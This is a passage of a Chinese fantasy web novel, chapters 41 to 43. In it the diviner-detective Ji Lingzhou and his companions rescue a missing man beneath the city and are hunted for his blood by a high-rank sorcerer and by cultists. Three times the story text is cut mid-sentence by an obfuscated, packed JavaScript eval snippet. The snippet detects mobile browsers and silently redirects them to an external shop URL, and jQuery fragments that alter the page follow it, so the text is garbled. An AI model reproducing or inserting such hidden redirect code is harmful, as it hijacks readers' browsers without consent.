“我们必须得到他。”长桌下首,一个枯瘦的中年人用斩钉截铁的语气说: “永恒之血的价值,毋庸置疑。饮下能延长生命。洒在异常物上,能洗掉上面的气息,相信每家都存着几件无法制作种子的异常物。” 桌畔其他人目光闪烁。 老者继续开口:“但他身上有夜莺的印记,我们一旦轻举妄动,很容易……” 一个蒙着脸的男人用嘶哑的声音道:“太巧了,我恰恰知道夜莺今晚有一件很重要的事情要做。黎明前,我们无需担心她。” 老者点头:“谢谢你,铁匠。我们立刻动手,罗盘,定位一下方位。”他将一张沾血的手帕递给优雅女人。 女人握住手帕,闭眼片刻,说:“他在涅伽拉德地下,很深的地方。” 老者皱眉:“是海族的地盘,那里会压制灵性。”说话间,他身后窗户外的花园里,植物疯狂生长,转眼间覆盖了房屋,然后迅速枯萎。 其他人面露犹疑。 他们都是强大的超凡者,灵性被压制后和正常人没什么区别。 蒙脸人又开口了:“那人在几个月前第一次来侦探协会,当时只有一阶。现在已经三阶了。” 罗盘焦急开口:“我们必须得去。永恒的成长是跳跃式的,你们不想对付一个半神,甚至真神吧?” 桌旁其他人几乎要坐不住了。 超凡之路强大而残酷。 即便是不起眼的职业,也指向一条来自真实之海的独特权柄。只要走到最后,就能成为神明,从此不朽不灭,成为狂乱之喉、亡月、绝对天平那样的存在。 他们都自认天赋绝佳,唯独欠缺足够的时间。 老者用力拍了一下桌子: “我决定了,立刻出发。你们愿意跟随我的,站起来。不愿意的,为防止泄露消息,留在这里直到天明再离开。” 长桌畔,所有人齐刷刷地站起来,目光坚定,两眼放光。 41.momo到此一游(上) 海文区,废弃纺织工厂。 奥菲利亚抱着手,声音无奈:“季,不要再研究入口了,我们该进去了。” 季泠州没抬头,从垃圾堆里抽出一根还算笔直的木棍,用鞋尖蹭掉上面的污渍。 “等等,再给我两分钟。” 他用极快的动作在地上比划。 只见凹凸不平的水泥地面上,浑然天成地嵌着一道圆形的金属门。 门表面呈暗淡的灰色,非金非石,摸上去光滑而温暖。 太奇怪了! 他见过本地工厂生产的大门、零件,大多粗糙且布满毛刺,里面还有许多气泡空洞。 而眼前的这道门则截然不同,它圆得离谱,以至于看上去有种违和感,就像原始人捕猎猛犸象后,从兽皮衣里掏出一个塑料打火机点火烤肉一样。 而且,他没有从这道门上感受到灵性,它不是异常物。 季泠州挠挠后脑勺:“你们不觉得这扇门太圆了吗?” 布兰登哂笑一声: “毫无疑问,你生活的地方一定是东陆最偏僻落后的地区。 “如果你读过大学,就会知道筑城者哥伦布·法雷尔在古叶弥王朝的遗迹上修建了涅伽拉德,我们和一千五百年前的人共用一套下水道。 “而叶弥人是天生的建筑师,修一道圆形的门对他们而言就和呼吸一样容易。” 季泠州微微摇头,不置可否。 “我们进去吧。”他说。 奥菲利亚闻言,一把拔出巨剑,将圆门劈成两半。 季泠州被这简单粗暴的开门方式惊呆了。 奥菲利亚甩掉剑刃上沾着的碎屑:“每道门都是一次性的。” 她反手将巨剑插回背后,“跟上,别浪费时间。” 门洞在逐渐合拢。 季泠州深深望了一眼这犹如巨兽咽喉的洞口,握紧【高光】跟着跳了下去。 本以为自己会重重摔在地上,没想到门下面是倾斜甬道,柔软而有弹性。 他顺着洞壁一路下滑。 季泠州想:更像了,自己正朝着巨兽的胃袋进发。 漫长的滑行后,是短暂的坠落,他像一只沉重的麻袋般掉入冰冷的水潭中。 为了避让自头顶落下的布兰登,他着急忙慌地往旁边猛游了一截。 水潭两边的岩石上长满了黏腻的苔藓,空气里满是咸湿的潮气。 岸边,奥菲利亚将巨剑斜插在地上,有条不紊地脱下外衣并开始烘烤。 “异常物?”季泠州学着她的样子,将外套搭在剑刃上,随口问道。 奥菲利亚摇头:“是我的超凡技能,火焰劈斩。” 布兰登插话:“她还有一招,叫冰霜斩击,很适合夏天冻冰块。” 奥菲利亚微笑着握紧剑柄,布兰登连忙将嘴闭上。 季泠州:“我们接下来朝哪边走?” 借着大剑的微光,能看到水潭周围的岩壁上,不规则地分布着六个洞口。 奥菲利亚抱臂看向季泠州,眉梢微挑:“该你表现了,占卜师。” 季泠州掏出骰子随手一掷。 3点。 布兰登目不转睛地盯着他。 “命运的指引有些模糊,我必须拨开迷雾。”察觉到布兰登的紧张,他心中好笑,右手慢悠悠地依次指过六个洞口,“该选哪条呢?” 布兰登的眉角浮上一缕喜色。 季泠州的动作停下了,对准指路小果蝇脑袋转动的方向。 “就是那条——” 布兰登如丧考妣,但很快又振奋起来,他提议: “太轻率了,我觉得那个洞口里面什么也没有。” 季泠州耸耸肩,没有接话。 奥菲利亚拔起大剑插回剑鞘,说:“听占卜师的。” “哼——” 布兰登的脸拉得老长,不情愿地跟在两人后面,一起往洞穴深处走去。 奥菲利亚边走边介绍:“我年轻时来过一次海民聚居区,你们务必要和那些牵着绳子的人保持距离。” 季泠州疑惑:“牵着绳子的人?” “小心。”布兰登发出短促的提醒声。 “锵!”一声,奥菲利亚拔出巨剑,将一支射来的锈箭劈飞。 “哚!”的一声,箭尾深深没入石壁。 远处,一人多高的荧光蘑菇丛里,一道身影迅速退入阴影中。 蘑菇丛下,躺着一道黑乎乎的人影。 “多谢你们,热心的冒险者。”开口说话的是个年纪不大的男人,声音虚弱夹杂着低低的喘息声。 他身侧,一个体型修长高挑的人半蹲着,似乎在帮他处理伤口。 奥菲利亚大步走去,巨剑的光将蘑菇丛周围一片照亮。 只见地上躺着的男人脸色苍白,身上沾满了暗褐色的腐臭的泥浆,大半边身体被血浸透。 看到男人,奥菲利亚满脸愕然:“昆兰先生?” 男人虚弱地点点头,问:“你是?” 奥菲利亚脸上浮起喜色:“我是你夫人雇佣的侦探,来救你的。” “夫人?”昆兰先生困惑地瞪大眼睛,他身侧的人猛地横过身体,一脸警惕地挡在他身前。 季泠州这才看清,原来照顾昆兰先生的人,是一个海民。 亦或是,混血海民。 那人有着蔚蓝的瞳孔,但头发是灰色的,身材也不像季泠州昨天看到的海民那样高挑。 昆兰先生指着身边的人说:“这才是我的妻子,浪涌。” 奥菲利亚疑惑地看着二人,这到底是怎么一回事? 季泠州观察了一下蘑菇树下的苦命“鸳鸯”,俩人动作间颇有默契,似是相识许久,看不出破绽。 他悄悄贴近奥菲利亚,小声问:“你接委托时,确定过对方身份吗?” 奥菲利亚回应:“昆兰女士是房屋租赁公司的董事,在涅伽拉德很有名。” 季泠州指指昆兰先生:“那他?” 奥菲利亚:“是昆兰女士第六任丈夫。三年前,他们在丰饶之主的神殿举办婚礼,很多人可以作证。” 季泠州摸了摸鼻子,再次将目光投向浪涌。 这个海民五官柔和,此刻正挡在昆兰先生的身前,呲着一口雪白的牙齿。 他毫不怀疑若自己轻举妄动,这个年轻的海民会扑上来狠狠咬自己一口。 “昆兰先生,无论如何,请先跟我们离开吧。你在这里很危险。”季泠州劝解道。 昆兰先生摇了摇头:“我只想和浪涌在一起。” 季泠州语调平静:“如果我没看错,你身上的伤是箭伤,是海民射的。” 昆兰先生垂下眼:“我和浪涌的家人发生了一些误会,我会自己解决的,请你们离开。” 浪涌喉间发出低呜,鱼骨刃倏然出鞘,雪亮的刃尖对准三人,像一头护崽的野兽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396737|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布兰登摊手:“委托失败,我们回去吧。” 奥菲利亚干脆利索地打晕了昆兰先生和浪涌。 她掏出一捆绳子,熟练地把两人捆起来,然后像搬运棉花一样,轻轻松松地提起两人。 “委托完成,我们现在可以离开了。”她声音轻快。 这和季泠州所认为的完成任务的方式有极大差别,他忍不住问: “是不是有些粗暴了?” 布兰登疯狂点头。 奥菲利亚瞥了眼昏迷的两人:“付钱的是昆兰女士。至于这位……” 她踢了踢浪涌, “这是一个未成年的海民。” 季泠州、布兰登:“?” 奥菲利亚:“海民在成年前没有性别。也就是说,浪涌不是任何人的妻子。” 真是奇怪的种族,季泠州不由感慨异世界的物种多样性。 奥菲利亚微微一笑:“再补充一个冷知识,我们头上这座城市,大部分人有海民血统。” “那只是平民区才会发生的事。”布兰登眼一瞪,就要反驳。 奥菲利亚: “涅伽拉德刚建好那年,爆发了一次大瘟疫。大部分家庭失去了一名以上甚至或更多的家庭成员,你猜他们如何补充人口?” 布兰登沉默不语。 季泠州听明白了。 或许,自己应该称哥伦布·法雷尔为哥伦布·齐奥塞斯库·法雷尔。 奥菲利亚伸手在巨剑上弹了两下,轻声呼唤:“咕咕,出来。” 一个毛茸茸的脑袋探出来,是那只巨大的赤羽陆行鸟。 “给我点吃的。”她说。 季泠州取出怀里的长条面包递给她。 布兰登眼睛瞪大了:“这是我的面包!你……” 季泠州抬眸看去:“面包?哦,它现在是我的了。我从你的眼皮子低下拿走了它,你现在才发现?” 他的话里饱含深意。 咕咕在一旁飞快啄食面包,很快一条面包就消失在淡黄色的鸟喙里。 奥菲利亚将两个人并排放到陆行鸟背上,顺手还给昆兰先生身上涂了些万用药膏,确保他能活到回家。 她说:“我们接下来要做的是——通过潮汐山谷,那是唯一的出口。” 季泠州:“我们过不去,因为布兰登先生是海民的好朋友,我们的一举一动,海民都知道。” 奥菲利亚的手按在剑上。 布兰登脸色骤变,声音拔高:“这是污蔑!赤裸裸的污蔑!” 季泠州翻转手腕,掌心躺着一枚银币:“我可以举行一个吐真仪式。” 布兰登:“我怎么知道你的仪式是真的?” 季泠州:“真心话大冒险,我替你选真心话。” 【仪式·破冰游戏:相信大家都玩过真心话大冒险!为何不把它固定下来,帮助别人更快地社死呢?备注:消耗游戏币,获得对方同意后,可强行问三个问题。(同意标准很灵活)】 布兰登:“荒唐!”他抬手就要释放自己的职业技能,对季泠州下毒手。 季泠州抢先问出了问题:“你感受到仪式效果了吗?” 布兰登:“没……我感受到了……”他惊恐地捂住自己的嘴。 身体不受意志控制,让他惊恐万分。 季泠州快马加鞭又问:“告诉我,你和海民的关系。” 布兰登:“我的母亲是海民。” 42.momo到此一游(中) 奥菲利亚露出恍然大悟的表情。她一直搞不懂为什么布兰登的能力如此抽象。 因为【结界师】是最基础的职业,向来中规中矩,很少出现布兰登这样的奇葩。 现在真相大白了,他有一半海民的血统。 众所周知,海民天生没有灵性。 以正常人一半的灵性,能放出技能,已经是真实之海的眷顾了。 季泠州:“最后,告诉我你们的计划和秘密,一字不差。” 布兰登咬紧牙关,满眼都是红血丝,似乎在竭力和仪式的力量对抗。 然而,超凡技能大多是规则属性的,唯有通过位阶碾压才能免疫。 他和季泠州都是三阶,所有的挣扎都是徒劳的。 布兰登的嘴唇渗出血迹,一字一顿地说: “海民居住的壳宫是一艘大船,搁浅在了涅伽拉德。只要输入足够的灵性,就能重新启航返回故乡,我…在搜集灵性。” 布兰登说完后,眼皮颤抖,一副万念俱灰的样子。 感受到束缚身躯的力量消失后,他怒吼一声抽出袖子里的匕首,朝季泠州扑来。 季泠州灵活地绕到奥菲利亚背后,门板宽的巨剑真的很有安全感。 奥菲利亚:“冷静!” 布兰登嘶吼一声。 奥菲利亚一把抱住他的腰,说: “我是瑟西莉亚人,他是东陆人。我们都不是洛萨兰人,和海民无冤无仇。 “对了,东陆的那位皇帝你知道吧,祂是海民的守护者,你怎么能对祂的同族下毒手呢?” 听到东陆,就像火上浇了一瓢热油,布兰登更愤怒了。 布兰登动弹不得,只好用凶狠的目光瞪视季泠州,似乎像隔空将他看出几个窟窿。 季泠州也很无奈,他只是不想继续和布兰登演戏了。 不知为何,他的心头沉甸甸的,仿佛要发生不好的事情。 “行了。你别装了,你根本不是这样的人。”他走到布兰登身前。 “我和奥菲利亚不会说出去的。甚至,若是有足够的钱,我们甚至能帮你搜寻灵性。” 奥菲利亚疯狂点头。 布兰登的身子猛地僵住,龇牙咧嘴的脸看起来有几分滑稽。 季泠州从兜里掏出一件全新的【山寨版隐形斗篷】,展开在他面前抖了抖。 “我认识一位【工匠】。” 布兰登盯着斗篷,长长地舒了口气。 他说:“我亲爱的东陆兄弟,你误会了,我只是想抱抱你。” 奥菲利亚投来清澈疑惑的目光。 季泠州示意她放开布兰登。 布兰登先仔细整理了一下皱巴的外衣,微微欠身后张开双臂。 季泠州退后一步:“我不想和你拥抱,不妨告诉我昆兰先生的事情。” 布兰登长叹一口气:“他的情况和我差不多。但不同的是他是首领的孩子。 “他能进入壳宫,参与船的修复工程。 “一周前,昆兰先生照例运送灵性时,不小心掉到源井里,被灌入了错误的记忆。” 季泠州:“?” 布兰登连忙解释:“源井是一口井。” 自然知道是一口井,季泠州扶额。 “所有的海民都自源井中诞生,灵性也要投入源井。”布兰登挥舞着两条胳膊,比划道。 奥菲利亚脸上表情微妙,以极轻微的动作向季泠州眨了眨眼睛。 季泠州会意,继续问:“昆兰先生能恢复吗?” 布兰登点头,继续说:“能。但我们做不到,需要启动壳宫才行。壳宫有两条腿,起码要启动一条。 “为了保护秘密,你们不能带走昆兰先生。我已经通知了首领。” 奥菲利亚忍不住打断他: “你们说的壳宫我大致了解,是个嵌在岩层里的巨大迷宫,空塔的学者团花了五十年时间研究,得出结论——它不是船,也无法移动。” 布兰登神色坚定:“不。空塔的学者无法代表真理,壳宫是船。” 奥菲利亚苦恼地甩头,浓密的红发带起一阵风。 眼下,布兰登绝不会让自己带走昆兰先生。 她越发觉得那句老话说得对——海族都是死脑筋。 和海族,哪怕是拥有海族血脉的人辩论,完全是浪费时间。 季泠州将事情经过捋了捋,发现这件事看似困难,实际上解决方法很简单。 他清清嗓子:“我有个主意。如果能确保昆兰先生不醒,那么奥菲利亚就可以用他交任务。” “然后,你们雇佣我和奥菲利亚搜集灵性,等启动壳宫后,我们再偷偷把昆兰先生偷出来,清理他脑袋里多余的记忆。” 奥菲利亚边听边点头:“我觉得可以。” 布兰登托着腮,冥思苦想一番后:“这倒是不难,但需要首领同意。” 季泠州拍掌道:“出发!”他看看腕上的表,现在是晚上九点。 不知为何,看着转动的分针,他总有种心惊肉跳的感觉。 这感觉就像狼,追着他朝前跑。但他并不知道要跑去哪里,又为什么跑。 地下通道里,三人一鸟沉默地朝前走。 随着逐渐接近壳宫,路边逐渐热闹起来。 他们甚至路过了一个小型集市,海族和人混在一起,交换食物和工具。 “还要多久?”季泠州忽然问。 布兰登擦擦额头的汗:“不远了,再左拐两次就到了。” 季泠州点点头。 然而,当三人拐到第四次时,前方依旧是单调的通道。 季泠州有种靴子终于落地的感觉。 他停下脚步,一把抽出【高光】,另一只手则探进怀里,握紧了手枪。 一个白发老者从路边的荧光蘑菇树上跳下,赞叹道: “不愧是永恒,就是敏锐。” 季泠州皱眉盯着他,“鉴定”视角里,老人身上的标签是一连串的【???】。 不好对付,他想。 老者笑着看季泠州:“年轻人,我邀请你去我那里做客。” “你们想要什么?” 老者:“需要你配合我们,提供一点点微不足道的血。”他搓了搓指头。 糟糕!继矮人吸血鬼后,自己又遇到了老头吸血鬼。 季泠州浑身绷紧。 一股强大的灵性如同山岳一般压在他身上。 他大口地呼吸着,却感觉自己的肺似乎停止了运转。 头很晕! 老者满意地点头: “再次介绍,我的职业是【安眠师】。我向你保证不会有任何痛苦,我会尽量让你沉睡。” 奥菲利亚大吼一声,巨剑朝老者砍来。 老者摇头:“小姑娘脾气也太暴躁了!” 说话间,奥菲利亚身形摇曳,眼皮重得几乎要睁不开,像喝醉了一样。 布兰登咬咬牙,指定奥菲利亚和老者为目标,同时发动技能。 他觉得,自己大概是活不过今天了。不是被敌人打死,就是被自己人打死。 奥菲利亚瞬间清醒过来,她挡住了技能,没有社会性死亡,但感觉依旧糟糕。 老者没有防备,但他体内远超布兰登的灵性自动挡下了部分技能效果。 老者脸在几秒内胀得通红,看布兰登的眼神毫不掩饰杀意。 “可恶!”老者愤怒地挥舞袖子,五颜六色的弹丸不要钱似得滚落在地。 季泠州认出来了几样见过的,【矢车菊安魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396738|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲】、【黑甜乡】…… 他深吸口气,终于找到你了,制造迷药的老东西! 季泠州袖子里,骰子和银币同时跌落在地。 下一秒,奥菲利亚提着她门板大的巨剑一脚踩在老者脚上。 清脆的骨骼粉碎声响起,老者哀嚎一声,几乎要失去平衡。 季泠州乘胜追击,快要消散的骰子触碰到银币,瞬间化作辉光。 【仪式·真心话大冒险】启动! 季泠州大声问:“老先生,你的脚很疼吧!” 老者满眼血丝,狠狠抬头,说:“我要……我的脚好疼,啊啊啊!” 季泠州追问:“你的弱点是什么?如何能击败你?” 老者用极不情愿的语气说:“我有一件异常物能操控植物,但它讨厌负面情绪。” “奥菲利亚,用药膏。” 红发女剑士从善如流,她挖了一大团药膏抹在布兰登脸上。 杀猪般的惨叫声响起,夹杂着“我们是队友呀!”的质问声。 老者身侧,一团苔藓像吃了金坷垃一样剧烈膨胀,死死缠住他的脚。 管用! 季泠州心下狂喜,大声说:“奥菲利亚,你为什么要给布兰登用?难道是存心折磨他?” 奥菲利亚脸色一红,解释:“药膏不多了,用在布兰登身上效果最好。” 苔藓猛地膨胀了好几倍,将老者的半个身子包住。很明显季泠州的话生效了,通过冤枉奥菲利亚再次激发了新的负面情绪。 他身上的重压顿时轻了许多,让他能轻微移动身体。 【高光】出鞘,朝着老者的胸口刺去。 随着剑尖碰到老者身体,他整个人像气泡一样消失在空气中。 所有人都满脸愕然。 “啪啪啪!”洞穴尽头,老者拍着掌走出。 “少年可畏呀!许久没有低阶超凡者能打碎我的第一投影了。” 说话间,他身边浮起密密麻麻的身影。 所有人的身影都长着和他一样的面孔,但却在做不同的事。 季泠州的心沉了下去,能感受到【仪式·真心话大冒险】施加在老者身上的束缚微乎其微,似乎下一秒就会被挣脱。 “告诉我,你知道的所有超能知识,从重要的说起。”他大喊一声,问出了最后一个问题。 老人抬起的脚停在半空,不受控制地张开嘴: “你身上有稀薄永恒权柄,你的血能帮我延长寿命。 “我赶在所有人面前,就是为了拿到……” 季泠州只听清了第一句。 时间紧迫,老者站住的瞬间他立即召唤了塔坎瑟斯马,一把提起布兰登后,玩命地跑。 拜托,老者一看就是高阶超凡者,说不定阶位比三人加起来还高,完全打不了。 奥菲利亚骑着陆行鸟,紧紧跟在季泠州身后。 边跑,季泠州还不忘疯狂投掷【篡命骰子】,给老者重置运气。 不得不说,高阶超凡者的抗性就是强。 他足足用了半口袋的骰子,才将老者的运气值刷到一点。 只见老者身畔,浪涌迷茫地醒来,看清老者的脸后,神色大变,一把将鱼骨刃插进老者的肚子。 接着,年轻的海民捞起昆兰先生,拐进了另一条通道。 老者嘴里骂骂咧咧,跌跌撞撞朝季泠州追去。海族的灵性压制因人而异,阶位越高,受到的压制越强。 若是放在平时,他就是把两条胳膊捆在背后也能摆平几个三阶超凡者。 可是现在,虎落平阳被犬欺。 剧烈的灵性波动透过岩石,传向地面深处。 几百米下,一颗被岩浆封住的巨蛋微微颤动,石皮不断剥落,露出透明的核心。 43.momo到此一游(下) 季泠州的马术很一般。 布兰登的体验更好不到哪去,作为肚子紧贴马背的那个,肠子都要颠出来了。 他艰难地抱着马脖子,为三人指路。 奥菲利亚跟在后面,盯着季泠州的背影,若有所思,她并不相信老者的话。 她来自瑟西莉亚王国,在那里超凡并不是秘密,而是人们生活的一部分,许多知识可以公开查阅。 王国的记载很清楚,永恒权柄无法离开东陆。 那么,是什么让那个老者如此笃定呢?她很好奇。 而季泠州,不断往身后撒游戏币。 【仪式·胸口碎大石】(扭曲后的落石术)、【仪式·香蕉皮】(扭曲后的油腻术)、【仪式·爆炸就是艺术】(扭曲后的火球术)、【仪式·单脚跳游戏】(扭曲后的瘸腿术)…… 这些仪式均来自超凡职业【奥术师】,是彼方的最新通关成果,还是季泠州第一次用。 看着兜里的游戏币的数量飞速减少,他心痛到说不出话。 每一枚游戏币都是劳动成果,来之不易。 每当涅伽拉德入夜,季泠州都会潜进无人的房子翻找财物,刷到游戏币后,再将财物原样放回,以便明天继续翻找。 奥菲利亚用敬畏的目光看了季泠州一眼。 她的位置靠后,隐约能看到白发老者的惨状。 老者单脚跳着前进,眦裂发指。浑身沾满了油污,胸口微微凹陷,头发和眉毛也被烧没了。 虽然在高阶超凡者的超强体质下,老者受伤的地方以肉眼可见的速度恢复。 但伤害不大,侮辱性极强呀! 她忍不住打了个冷战,想道:季泠州若是被抓到,一定会被撕成碎片吧。 陆行鸟跑着跑着头忽然垂了下来,发出有节奏的鼾声。 奥菲利亚拍了鸟头一下,将坐骑打醒。 她忧心忡忡地回头望向老者,随着距离拉近,老者的力量范围逐渐笼罩了三人。 洞穴通道一路盘旋向下,似是要通往地心深处,老者始终像狗屁膏药一样黏在后面。 季泠州的游戏币只剩下五个,终于停止布置仪式。 “还有多远?”他提起马背上趴着的布兰登,问。 “按理说应该到壳宫的中庭了,可是……”前路,依旧幽暗狭窄。 布兰登急得满头是汗。 季泠州的思绪飞快运转,到底哪里出了问题呢? 一次性的入口、柔软的滑道、疑似会活动的通道…… 一道灵光划过脑海,这里是活的,它是生物,会主动修改通道阻挠三人前进。 季泠州:“告诉我,中庭在壳宫的哪个方位?” 布兰登:“中心,偏下。” 他心中了然,掀起袖子露出契约之血化作的花。 意识海里,血色箭头径直指向左前方,他在心里大概计算了一下方位,说:“奥菲利亚,3秒以后,用剑砍你右手方向。” 陆行鸟上,大剑士点头。 她举起巨剑大喝一声,借着陆行鸟冲刺的速度,一剑斩出,火焰和巨力将洞壁劈成碎屑,向四面八方溅射。 一条新路出现了! 新的通道笔直而宽阔,一路向上,尽头隐约透出如水波般荡漾的蓝光。 布兰登大喜:“是这条路!我走过许多次。” 季泠州轻抚塔坎瑟斯马的脖颈,示意它再快一些。 马抖动鬃毛,身上燃烧的绿焰划出长长的拖尾,几乎只花了几秒钟,就冲出了通道,跃入中庭。 中庭顶部笼罩着恢弘的半圆穹顶,泛着银灰色的金属光泽,半透明,能看到穹顶外面游动的海鱼。 几近神迹,怪不得这地方称为壳宫。 中庭另一边,是一道光幕。只要穿过它,就能回到涅伽拉德。 顾不得欣赏这大自然的鬼斧神工,成群的海族围拢而来,将三人围在中心。 密集的箭头瞄准三人。 布兰登翻身下马,挤出一个灿烂的笑,对着带头的海族招手: “首领,我是布兰登呀。抓了两个超凡者,他们愿意提供灵性。” “站住,外族!”回应他的,是一支冰冷的箭矢,径直钉在脚前。 布兰登未出口的话噎在喉咙里,肩膀微微颤抖。 季泠州散去塔坎瑟斯马,轻轻拍了拍布兰登的肩膀,他很能理解这种里外不是人的感觉。 中庭通道口,白发老者骤然出现。 他怒不可遏地冲了进来,高举右手,狠狠劈下。 所有人都转头盯着他。 然后,什么也没有发生。 布兰登猛拍脑袋,大喊一声: “蛋宫……不对,是壳宫!这里灵性被隔绝了!头儿,趁现在撂倒这老东西!” 季泠州眉头微蹙,他体内的灵性依旧活跃,随时可以使用“修改器”制造新的异常物。 而且,“鉴定”也运转正常,就比如他能看到海族领袖头上的【心平气和】标签,那家伙只是表现得很生气。 奥菲利亚并没有轻举妄动,她微抬下巴,示意布兰登:看看这些海族! 布兰登叹了口气。 老者冷静下来,不顾身上的狼狈,举起一面有狮子纹样的水银镜,对海族首领说: “我是狮子座首的人,咱们不是敌人。”他的声音里夹着一丝不易察觉的轻慢。 在他眼里,海族和会说话的牲口没区别。 海族领袖从身上摸出一面相似的水银镜,不同之处在于背面用宝石拼成宝瓶图案。 海族首领举起镜子,示意老者检查。 老者更高兴了,匆匆扫了一眼,指着季泠州说:“我愿意用10件异常物交换他,活的。” 奥菲利亚和布兰登紧张起来,不由转头望向季泠州。 季泠州没有说什么,只是盯着通道口深处。 那里,似乎有人。 海族领袖点头:“好。” 她摘下身后的弓,取下一支箭矢搭上去,径直对准了季泠州的心口。然后,缓缓下移,瞄准了他的膝盖。 奥菲利亚“锵”地一声,将巨剑拔出半截,她的目光紧锁海族首领,身形微沉,如蓄势的猎豹。 季泠州莫名其妙想起一句话——“我曾是个冒险者,直到我膝盖中了一箭。” 这些人,一个两个都想对自己的腿下毒手。 海族领袖骤然旋转身体,箭矢射出,贯穿了老者的心口。 老者不敢置信。 海族嘴里挤出几个字:“祂的人,不能给你们。” 突然而来的变故惊呆了所有人,季泠州低喝一声: “趴下。” 他预判到布兰登反应慢,伸手按下了他的头。而奥菲利亚则不同,她早就从善如流地趴在地上。 巨大的冰棱自通道□□出,自中庭一边朝另一边激射而去。 几个躲避不及的海族被冰棱钉穿,身体四分五裂,空气中弥漫着浓郁的血腥味。 披着斗篷的男人自通道口走出,他身后是影影绰绰面目不清的同伴。 他蹲下身,轻轻地抚上老者死不瞑目的眼,惋惜道: “一个八阶,死了真是可惜。” 说完,老者的四肢以奇怪的方式抽搐起来,似是要活过来。 但随着肢体不断抽动,老者的血肉迅速腐败,淌出腥臭的汁水。 老者的尸体用手抓挠身体,仿佛痒极了一般,将大块灰白色的血肉撕下、扔掉。 一具淡粉色的新鲜骨骸自原地站起。 “是狂乱之喉的信徒。”奥菲利亚声音凝重。 季泠州厌恶地望着地上的一滩碎肉,狂乱之喉的手段不是虫子就是腐烂,很有辨识度。 布兰登声音焦急:“怎么办?这里用不了超凡之力,但可以用神力,我们毫无胜算。” “即便是加上那些海民。”他补充道。 季泠州反问:“你难道不是?” 布兰登语气里带着气: “海族不要我呀!他们说得很清楚,我是外族!都什么时候了你还说这个?” 另一边,死去的海族的尸体也跟着抽搐起来。 但海族首领很是淡定,她指挥着族人将尸体聚在一起,然后在中庭中央的柱子上按了几下。 一束光自穹顶射下,海族尸体瞬间消失。剩下活着的海族,也迅速朝角落的一扇门跑去。 季泠州好奇地望着柱子,然后眼睛瞬间睁大。 他看到了什么? 柱子上写着一行字:momo到此一游! 笔迹和【真正的死亡笔记】上签名一模一样。 他的呼吸顿时急促起来,天命皇帝来过这里。 他低声和两个同伴说:“一会打起来了,找机会接近那根柱子。” 通道口,斗篷人动作轻柔地抚摸着老者的骸骨,像是抚摸情人一般。 看得周围人不由地拉开了和他的距离。 “去吧,找杀你的人报仇!”斗篷人下令。 骸骨空洞的眼眶顿时转向季泠州。 季泠州:“???”不是,我没杀你呀?你看我做什么。 下一秒,骸骨灵活地蹲下然后跃起,朝季泠州直扑而来。 显然,斗篷人术式的判定依据是仇恨值。在这方面,季泠州遥遥领先。 浓重的倦意涌上他的心头。 毫无疑问,骸骨保留了生前的力量。 季泠州控制不住地打了个哈欠。 他咬破舌尖,维持清醒,一把抽出【高光】架住骸骨咬来的下颌。 奥菲利亚一剑拍下,将骸骨斩成碎片。 淡粉色的骨片尚未落地,便化作黑压压的虫群,朝人群扑来。 几个走在最后的海族猝不及防之下,被虫子钻进身体,顿时肿胀成青紫色,满地打滚。 有毒! 季泠州心头一凛。 通道口,不少斗篷人掏出怀里的枪,朝三人射击。 看来他们早有准备。 三人狼狈不堪,既要躲避诡异的黑虫,又要借柱子掩护闪避子弹。 布兰登大骂一声:“*&……%%¥!” 季泠州:“别骂了!你的枪法好吗?” 布兰登:“那当然!可我超凡觉醒后,就不带枪了呀!” 季泠州从怀里掏出一样东西抛给他:“用这个,别打死人,留着有用。” 布兰登接过【人体描边大师的福音-正式版】,熟练地退出弹匣检查后,对准通道□□击。 他专门瞄准了斗篷人们的膝盖和手肘。 十几枪下去,接连倒下了两三个人。 奥菲利亚无事可做,只好把手里的巨剑插在地上,为三人提供掩体。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400982|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虫云嗡嗡。 三人在柱子与巨剑之间来回跑动寻找掩护。 季泠州:“不出意外的话,我们安全了。” 布兰登射倒一个斗篷人:“谢天谢地。” 奥菲利亚:“你们看那边!” 只见通道口,只剩下带头的斗篷人还站着,他慢条斯理地摘下斗篷,露出一张季泠州熟悉的脸。 是怀恩先生。 怀恩先生目露遗憾之色,叹息道:“看来今天没人能活下来了,不过为了永恒,一切都是值得的。” 季泠州心底一沉。 只见怀恩先生抽出随身携带的仪式刀,干脆利索地将周围倒地不起的同伴一一杀死。 然后,他张开双臂。 浩瀚的灵性波动在大厅内激荡。 季泠州一字一顿:“附加灵性源,异对司制式异常物,能让你使用超凡能力。” 怀恩先生轻抚仪式刀,温和地笑了: “是的。我和夜莺说,需要追捕逃到海族的狂乱之喉信徒,她就把自己那个给我了。 